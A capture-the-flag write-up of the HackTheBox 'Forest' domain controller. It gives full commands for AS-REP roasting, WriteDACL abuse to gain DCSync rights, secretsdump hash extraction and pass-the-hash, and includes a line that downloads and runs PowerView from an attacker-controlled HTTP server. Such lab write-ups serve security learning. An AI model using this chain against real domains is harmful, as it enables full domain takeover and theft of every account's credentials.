Skip to content

Forest

Field Value
Platform HackTheBox
OS Windows Server 2016 Standard (Domain Controller)
Difficulty Easy
Initial Vector Null session RID enumeration → AS-REP Roasting → WinRM shell
Privesc BloodHound → WriteDACL abuse → DCSync → Pass-the-Hash

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports to map the exposed attack surface, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.95.210 -n -Pn -oG ports

nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49680,49681,49684,49700 --min-rate 5000 10.129.95.210 -n -Pn
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-15 03:39:38Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, ...)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, ...)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0

Host: FOREST | Domain: htb.local | FQDN: FOREST.htb.local
OS: Windows Server 2016 Standard 14393
SMB signing: enabled and required
Port Service Version Notes
53 DNS Simple DNS Plus
88 Kerberos Confirms Domain Controller
139 NetBIOS
389 LDAP Domain: htb.local
445 SMB Windows Server 2016 Std 14393 Signing required
3268 LDAP (GC) Global Catalog
5985 WinRM (HTTP) Microsoft HTTPAPI 2.0 Potential shell entry point
9389 mc-nmf .NET Message Framing AD Web Services

Kerberos on 88 and LDAP on 389 confirmed a Domain Controller, with the domain htb.local leaked directly by both banners. Port 5985 (WinRM) being open is immediately relevant — it becomes the shell delivery method once valid credentials are obtained. SMB signing required on 445 eliminated relay attacks. I added the domain to /etc/hosts before continuing.

echo "10.129.95.210 htb.local" >> /etc/hosts

Phase 2 — Service Enumeration

SMB (445)

I started with null and guest session checks to determine what was accessible without credentials.

nxc smb 10.129.95.210 -u '' -p '' --shares
# SMB  10.129.95.210  445  FOREST  [-] Error enumerating shares: STATUS_ACCESS_DENIED

nxc smb 10.129.95.210 -u 'Guest' -p '' --shares
# SMB  10.129.95.210  445  FOREST  [-] htb.local\Guest: STATUS_ACCOUNT_DISABLED

nxc smb 10.129.95.210 -u 'asdasd' -p '' --shares
# SMB  10.129.95.210  445  FOREST  [-] htb.local\asdasd: STATUS_LOGON_FAILURE
Screenshot

Share access was blocked across all methods. However, share access and user enumeration are controlled by separate permissions — RID cycling over a null session still worked, which is a common misconfiguration on Windows environments where anonymous pipe access to IPC$ is allowed even when share browsing is not.

nxc smb 10.129.95.210 -u '' -p '' --users | grep 'FOREST' | grep -v '\[' | grep -v '\-Username\-'  | awk '{print $5}' > users.txt
Screenshot

I cross-checked via rpcclient to confirm Domain Admins group membership — knowing the DA accounts before any escalation attempt narrows the target.

rpcclient -U "" -N 10.129.95.210
enumdomusers
querygroupmem 0x200     # Domain Admins group RID
queryuser 0x1f4         # Administrator resolved by RID

This confirmed Administrator as the sole Domain Admin.


LDAP (389)

An anonymous bind was available, so I pulled a full directory dump for offline review before moving to any active attacks.

ldapsearch -x -H ldap://10.129.95.210 -b "dc=htb,dc=local" "(objectClass=*)" > ldap_dump.txt

After recovering credentials for svc-alfresco, I ran ldapdomaindump to produce structured HTML reports of domain groups and users. ldapdomaindump walks the LDAP directory and formats the output into tables sorted by group memberships — particularly useful for spotting non-obvious privilege chains before running BloodHound.

ldapdomaindump -u 'htb.local\svc-alfresco' -p 's3rvice' 10.129.95.210
Screenshot

Kerberos (88)

I corrected the system clock before any Kerberos operations — requests beyond ±5 minutes of skew are silently rejected by the KDC.

timedatectl set-ntp false
ntpdate -u 10.129.95.210

With users.txt built from null session RID enumeration, I checked for accounts with Kerberos pre-authentication disabled. AS-REP roasting exploits this misconfiguration by requesting an Authentication Service Response (AS-REP) without supplying a password — the KDC returns a ticket encrypted with the account's hash, which can be cracked offline. No valid credentials are needed to initiate the attack.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.95.210 'htb.local/'

svc-alfresco had pre-authentication disabled and returned an AS-REP hash.

[email protected]:ffc87d67ce3524e2031e7c8e305bf7ea$ff35a8a266dbfd40...

I cracked the hash offline with John.

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Screenshot

Credentials recovered: svc-alfresco : s3rvice.

With valid credentials I also checked for Kerberoastable accounts — none were found.

GetUserSPNs.py htb.local/svc-alfresco:s3rvice -dc-ip 10.129.95.210 -request
# No entries found!

SMB — Authenticated Re-enumeration

With svc-alfresco credentials, I re-enumerated accessible shares to check whether the auth context opened anything new.

nxc smb 10.129.95.210 -u 'svc-alfresco' -p 's3rvice' --shares
Screenshot

IPC$, NETLOGON, and SYSVOL were readable. I browsed all three and enumerated SYSVOL specifically for Groups.xml files (GPP credentials), but none were present — unlike the Active machine, this environment had no legacy GPP credentials to recover.

smbclient //10.129.95.210/SYSVOL -U htb.local/'svc-alfresco'%'s3rvice'

WinRM (5985)

I verified that svc-alfresco could authenticate over WinRM before opening a shell, since WinRM requires the account to be a member of Remote Management Users or local admins.

nxc winrm 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
# [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
Screenshot

Phase 3 — Attack Path

Initial Access

I opened an interactive shell as svc-alfresco via evil-winrm using the credentials recovered from AS-REP roasting.

evil-winrm -i 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
Screenshot

The user flag was retrieved from C:\Users\svc-alfresco\Desktop\user.txt.

Screenshot

Post-Shell Enumeration

With a foothold established, I used BloodHound CE to map all privilege relationships in the domain and identify a path to Domain Admin. BloodHound ingests LDAP and SMB data via SharpHound or NetExec, then models the domain as a graph — nodes are principals and edges are ACL rights, group memberships, and session data. Non-obvious escalation paths that would take hours to find manually surface in seconds.

/opt/Bloodhound/bloodhound-cli up

nxc ldap 10.129.95.210 -u 'svc-alfresco' -p 's3rvice' \
  --bloodhound --collection All --dns-server 10.129.95.210

The output ZIP was uploaded to the BloodHound CE interface at http://localhost:8080.

Screenshot

BloodHound revealed the following privilege chain:

  • svc-alfresco is a member of Service Accounts, which is nested inside Privileged IT Accounts, which is nested inside Account Operators.
  • Account Operators is a built-in group that can create users and add them to non-protected groups — including Exchange Windows Permissions.
  • Exchange Windows Permissions holds WriteDACL over the domain object (DC=htb,DC=local). WriteDACL allows modifying the object's Access Control List, which means any member can grant themselves or another principal additional rights on the domain object itself — including DCSync rights.
  • DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All) allow a principal to impersonate a domain controller and request a full replication of all domain secrets, including every account's NTLM hash.
Screenshot

Lateral Movement

I created a new domain user and added them to Exchange Windows Permissions from within the evil-winrm shell. Account Operators members can do this without requiring Domain Admin rights, which is exactly what made the chain viable.

net user KasaneHackto Hackt0123 /add /domain
net group "Exchange Windows Permissions" KasaneHackto /add
net user KasaneHackto
Screenshot

I then loaded PowerView into memory directly from a Python HTTP server — no disk write needed, which keeps AV exposure minimal. PowerView's Add-DomainObjectAcl function modifies ACL entries on AD objects; in this case I used it to grant KasaneHackto the two replication extended rights required for DCSync.

# On Kali — serve PowerView
python -m http.server 9090
# In evil-winrm shell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.80:9090/PowerView.ps1')

$SecPassword = ConvertTo-SecureString 'Hackt0123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\KasaneHackto', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity KasaneHackto -Rights DCSync

The -Credential parameter is necessary here because the shell is running as svc-alfresco — the ACL modification needs to be authenticated as KasaneHackto, the account that actually holds WriteDACL through its Exchange Windows Permissions membership.

Privilege Escalation

With DCSync rights granted to KasaneHackto, I ran secretsdump.py to perform a full domain secrets replication. DCSync works by having secretsdump.py impersonate a Domain Controller and issue MS-DRSR replication requests — the real DC responds by sending back all account hashes as if to a peer replication partner, no code execution on the DC required.

secretsdump.py htb.local/KasaneHackto:'Hackt0123'@10.129.95.210
Screenshot

The Administrator NT hash was recovered: 32693b11e6aa90eb43d32c72a07ceea6. WinRM was available but slow; I used psexec.py with Pass-the-Hash instead, supplying the LM placeholder alongside the NT hash in the format psexec.py expects.

psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Screenshot

Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

Screenshot

Flags

Flag Path Value
User C:\Users\svc-alfresco\Desktop\user.txt FLAG{REDACTED}
Root C:\Users\Administrator\Desktop\root.txt FLAG{REDACTED}

Conclusion

  1. A two-phase Nmap scan confirmed a Windows Server 2016 Domain Controller with SMB, LDAP, Kerberos, and WinRM exposed; the domain htb.local was leaked via LDAP and SMB banners.
  2. Null session share access was denied, but RID cycling over the null session still enumerated the full domain user list, producing users.txt without any credentials.
  3. AS-REP roasting against users.txt identified svc-alfresco with pre-authentication disabled; the returned hash was cracked offline to recover svc-alfresco : s3rvice.
  4. WinRM access was confirmed for svc-alfresco; an evil-winrm shell was opened and the user flag retrieved.
  5. BloodHound CE mapped the privilege chain: svc-alfrescoAccount Operators (via nested groups) → Exchange Windows PermissionsWriteDACL on the domain object → DCSync rights grantable to any principal.
  6. A new user KasaneHackto was created, added to Exchange Windows Permissions, and granted DCSync rights via PowerView's Add-DomainObjectAcl; secretsdump.py extracted the Administrator NT hash.
  7. psexec.py Pass-the-Hash delivered an NT AUTHORITY\SYSTEM shell and the root flag.

The system fell because a service account (svc-alfresco) had Kerberos pre-authentication disabled — handing over a crackable hash with no credentials required — and its nested group membership through Account Operators into Exchange Windows Permissions created an unintended WriteDACL path to the domain object, collapsing the entire domain from a single weak account configuration.